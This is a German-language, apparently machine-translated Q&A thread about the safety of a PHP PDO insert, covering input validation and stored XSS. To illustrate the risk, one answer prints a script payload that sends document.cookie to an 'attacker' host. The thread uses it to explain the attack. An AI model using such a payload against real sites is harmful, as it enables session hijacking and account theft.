2016-08-20 5 views
0

Ich sehe, dass es viele Artikel dazu gibt, aber im Allgemeinen, was sind die besten Praktiken bei der Verwendung von PDO mit benutzergenerierten Daten?Ist dieses PDO-Skript sicher?

Ich gehe davon aus, dass dies sicher ist.

<? 
$user_phone = $_POST['user_phone']; 
$user_email = $_POST['user_email']; 

$insert = $db->prepare('INSERT INTO user (user_email, user_phone) 
         VALUES (:user_email, :user_phone)'); 

$insert->bindValue(':user_email', $user_email, PDO::PARAM_STR); 
$insert->bindValue(':user_phone', $user_phone, PDO::PARAM_STR); 

$insert->execute(); 
?> 
+2

Ich denke, '(user_email, user_phone (' 'sollte (user_email, user_phone)' sein, aber ansonsten sieht gut –

+0

Gut dank wissen – Charlie

+0

es in der Regel eine gute Idee ist, durch diese Richtlinie https gehen: // www. .owasp.org/index.php/Top_10_2013-Top_10 –

Antwort

0

Während ein Benutzer die Datenbank nicht mittels Injektion ausnutzen kann, ist er auf andere Weise anfällig.

Sie überprüfen nicht die Gültigkeit der Daten, die Sie in Ihre Datenbank eingeben. Es ist zwar nicht genau ist erforderlich, dies zu tun, aber wenn ich dies als eine E-Mail-Adresse oder Telefonnummer einreichen würde:

<script> 
window.location='http://attacker/?cookie='+document.cookie 
</script> 

Und Sie echo diese heraus auf Ihrer Website und besuchen es, werden Sie umgeleitet mich Senden Ihre Login-Cookies und jetzt kann ich diese Daten verwenden, um sich als Sie einzuloggen und wenn Sie zufällig der Site-Administrator sind ... Die Art des Angriffs heißt XSS.

Und nicht die Gültigkeit der Daten überprüfen, gibt es viele Möglichkeiten, dies zu tun, aber dies als Beispiel nehmen:

$phone = $_POST['user_phone']; 
$email = $_POST['user_email']; 

if (!filter_var($email, FILTER_VALIDATE_EMAIL) === false) { 
    # if this is true, the email address has a correct format. 
    # see the filter_var manual for more information. 

    if(is_numeric($phone)){ 
     $insert = $db->prepare(
      'INSERT INTO user (user_email, user_phone) 
      VALUES (:user_email, :user_phone)' 
     ); 

     $insert->bindValue(':user_email', $email, PDO::PARAM_STR); 
     $insert->bindValue(':user_phone', $phone, PDO::PARAM_STR); 

     if($insert->execute()){ 
      echo 'success!'; 
     } else { 
      echo 'failed to execute query.'; 
     } 
    } else { 
     echo 'phone number is incorrect.'; 
    } 
} else { 
    echo 'email is not correct.'; 
} 

Mit diesem Code gespeichert alle Daten gültig. Es heißt nicht, dass die E-Mail-Adresse noor oder die Telefonnummer existiert.

Da die meisten XSS-Angriffe auf < angewiesen werden, um eine Ausführung von Javascript zuzulassen, wird es negiert, da das <-Zeichen in einer E-Mail-Adresse nicht zulässig ist.

Mein Rat, überprüfen Sie, ob die Daten das sind, was Sie erwarten, bevor Sie es speichern, anstatt es zu speichern und die Sicherheitsprobleme später zu beheben.

+0

Ein permanentes XSS, wie du es erklärst, passiert, wenn er nicht dem Ausgang und nicht dem Eingang entkommt. echo $ login' ist angreifbar. – Sylwit

+0

@Sylwit 'Wenn er es nicht tut Flucht aus dem Ausgang, nicht die Eingabe? 'Bitte erklären Sie, anstatt direkt downvoting.Wenn ich die Eingabe entfliehen würde, speichern Sie es, ich müsste nicht vor der Ausgabe zu entkommen? Zweitens Sie vor dem Speichern bereinigen. – Xorifelse

+0

Ich denke, Sie sollten klären, was Sie meinen Sie, indem Sie "Ihre Daten säubern, bevor Sie sie speichern, anstatt sie zu speichern und später zu sortieren." Nach meinem Verständnis bin ich anderer Meinung. Ich glaube, Sie müssen es tun ** Bereinigen Sie ** (entfernen Sie ungültige Zeichen) Ihre Daten, bevor Sie sie speichern. Dann müssen Sie ** entkommen **, wenn Sie anzeigen. In einer Web-App zu entkommen ist nicht dasselbe wie in einer Desktop-App. Da ist meine Nuance, die mich widersprechen würde, wenn du antwortest. Ich habe jedoch nicht runtergestimmt. – Maxime